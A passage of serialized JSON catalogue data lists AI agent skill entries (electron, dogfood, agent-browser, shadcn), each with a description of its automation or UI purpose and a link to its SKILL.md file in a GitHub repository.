interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fslack\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M7CTCSSB8ZP3Q58C3YZDZK1W","electron","Automate Electron desktop apps (VS Code, Slack, Discord, Figma, Notion, Spotify, etc.) using agent-browser via Chrome DevTools Protocol. Use when the user needs to interact with an Electron app, automate a desktop app, connect to a running app, control a native app, or test an Electron application. Triggers include \"automate Slack app\", \"control VS Code\", \"interact with Discord app\", \"test this Electron app\", \"connect to desktop app\", or any task requiring automation of a native Electron application.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Felectron\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M7CTCBJY76688V4DCZGWFHGQ","dogfood","Systematically explore and test a web application to find bugs, UX issues, and other problems. Use when asked to \"dogfood\", \"QA\", \"exploratory test\", \"find issues\", \"bug hunt\", \"test this app\u002Fsite\u002Fplatform\", or review the quality of a web application. Produces a structured report with full reproduction evidence -- step-by-step screenshots, repro videos, and detailed repro steps for every issue -- so findings can be handed directly to the responsible teams.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fdogfood\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M7CTC4H0FFGVEAQR9PA4GA1A","agent-browser","Browser automation CLI for AI agents. Use when the user needs to interact with websites, including navigating pages, filling forms, clicking buttons, taking screenshots, extracting data, testing web apps, or automating any browser task. Triggers include requests to \"open a website\", \"fill out a form\", \"click a button\", \"take a screenshot\", \"scrape data from a page\", \"test this web app\", \"login to a site\", \"automate browser actions\", or any task requiring programmatic web interaction.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-WebSpec-Web标准\u002FYYC3-WebSpec-Web标准-standards\u002Fbrowser-agent\u002Fskills\u002Fagent-browser\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M7CTBKVFYBG78FDSABSDJTTQ","shadcn","Manages shadcn components and projects — adding, searching, fixing, debugging, styling, and composing UI, including chat interfaces. Provides project context, component docs, and usage examples. Applies when working with shadcn\u002Fui, component registries, presets, --preset codes, or any project with a components.json file. Also triggers for \"shadcn init\", \"create an app with --preset\", \"switch to --preset\", and for building a design system or applying a DESIGN.md or brand spec to shadcn\u002Fui.","https:\u002F\u002Fgithub.com\u002FYYC-Cube\u002FYYC3-Knowledge-Base\u002Fblob\u002Fmain\u002FYYC3-UI-界面组件\u002FYYC3-UI-界面组件-ui\u002Fskills\u002Fshadcn\u002FSKILL.md",[],[]]